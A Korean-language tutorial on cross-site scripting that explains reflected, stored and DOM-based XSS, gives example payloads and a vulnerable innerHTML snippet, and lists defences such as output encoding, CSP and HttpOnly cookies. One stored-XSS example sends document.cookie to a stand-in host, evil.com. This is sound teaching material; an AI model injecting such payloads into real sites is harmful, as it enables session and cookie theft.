XSS(Cross-Site Scripting)는 웹 애플리케이션 보안에서 가장 일반적이면서도 위험한 취약점 중 하나입니다. 사용자의 입력을 제대로 필터링하지 않고 브라우저에 출력함으로써 악성 스크립트가 실행되며, 공격자는 이를 통해 쿠키 탈취, 세션 하이재킹, 피싱 등 다양한 공격을 수행할 수 있습니다.
1. XSS 취약점 개요
XSS(Cross-Site Scripting)는 공격자가 피해자의 브라우저에서 악성 스크립트를 실행하게 만들어 웹사이트의 권한을 탈취하거나 사용자 정보를 유출할 수 있는 웹 보안 취약점입니다.
주로 다음과 같은 상황에서 발생합니다:
- 사용자 입력을 필터링하지 않고 그대로 HTML에 출력할 때
- 신뢰되지 않은 데이터를 DOM에 삽입할 때
- 외부에서 받아온 데이터를 HTML, JavaScript, CSS에 포함시킬 때
2. XSS 취약점 유형별 상세 설명
2.1 Reflected XSS (비저장형 XSS)
정의:
사용자의 요청(Request)에 포함된 악성 스크립트가 즉시 응답(Response)에 반영되어 실행되는 유형입니다.
특징:
- 서버에 저장되지 않음
- 공격자가 URL에 악성 스크립트를 포함시켜 피해자에게 전달
- 주로 이메일, 메신저, 게시판 등에서 URL 클릭 유도
예시:
http://example.com/search?q=<script>alert('XSS')</script>
서버가 q
파라미터 값을 그대로 출력하면, 해당 스크립트가 실행됩니다.
2.2 Stored XSS (저장형 XSS)
정의:
공격자가 삽입한 악성 스크립트가 서버나 데이터베이스에 저장되어, 이후 페이지를 조회하는 사용자들에게 자동으로 실행되는 유형입니다.
특징:
- 서버 또는 DB에 영구 저장
- 여러 사용자에게 지속적으로 피해를 줄 수 있음
- 게시판, 댓글, 사용자 프로필 등에서 자주 발생
예시:
<script>document.location='http://evil.com/steal?cookie=' + document.cookie</script>
이 스크립트를 게시글에 삽입하면, 그 글을 보는 모든 사용자의 쿠키가 공격자에게 전송됩니다.
2.3 DOM-based XSS (DOM 조작형 XSS)
정의:
서버를 거치지 않고 클라이언트 측 JavaScript가 DOM(Document Object Model)을 조작하는 과정에서 발생하는 XSS입니다.
특징:
- 서버 응답이 아닌, 클라이언트 JavaScript 처리 과정에서 발생
- URL 해시, 프래그먼트 등을 통해 자바스크립트가 직접 DOM을 수정할 때 발생
예시 (취약한 코드):
var userInput = location.hash.substring(1); // #<script>alert(1)</script>
document.getElementById("output").innerHTML = userInput;
해당 페이지 URL에 #<script>alert(1)</script>
를 붙여 방문하면, 해당 코드가 브라우저에서 실행됩니다.
3. XSS 방지 방법
- 사용자 입력에 대한 입력 값 검증(Input Validation) 수행
- 출력 시 HTML 이스케이프(Output Encoding) 처리 (
<
→<
,>
→>
등) - 자바스크립트에서 DOM 조작 시
textContent
,innerText
등을 활용 - HTTP 응답에 Content Security Policy (CSP) 적용
- 사용자 세션 및 쿠키에는
HttpOnly
,Secure
,SameSite
속성 지정 - WAF(Web Application Firewall) 및 보안 스캐너 도입
4. 구성도 예시
XSS 공격 흐름도
[사용자] → [악성 URL 클릭] → [웹 서버 응답] → [브라우저에서 스크립트 실행] → [사용자 정보 탈취]
또는, 저장형의 경우:
[공격자 → 게시판에 악성 스크립트 저장]
↓
[다른 사용자 → 게시판 열람]
↓
[브라우저에서 악성 스크립트 실행]
↓
[세션 탈취, 키로깅, 피싱 등]
5. 정리
- XSS는 주로 사용자 입력값을 필터링 없이 출력할 때 발생
- Reflected, Stored, DOM-based의 3가지 주요 유형이 있음
- 유형에 따라 대응 방법이 다르지만, 공통적으로는 입력 검증 + 출력 인코딩 + CSP 적용이 중요
- 웹 애플리케이션 개발 시 초기 설계부터 보안을 고려해야 함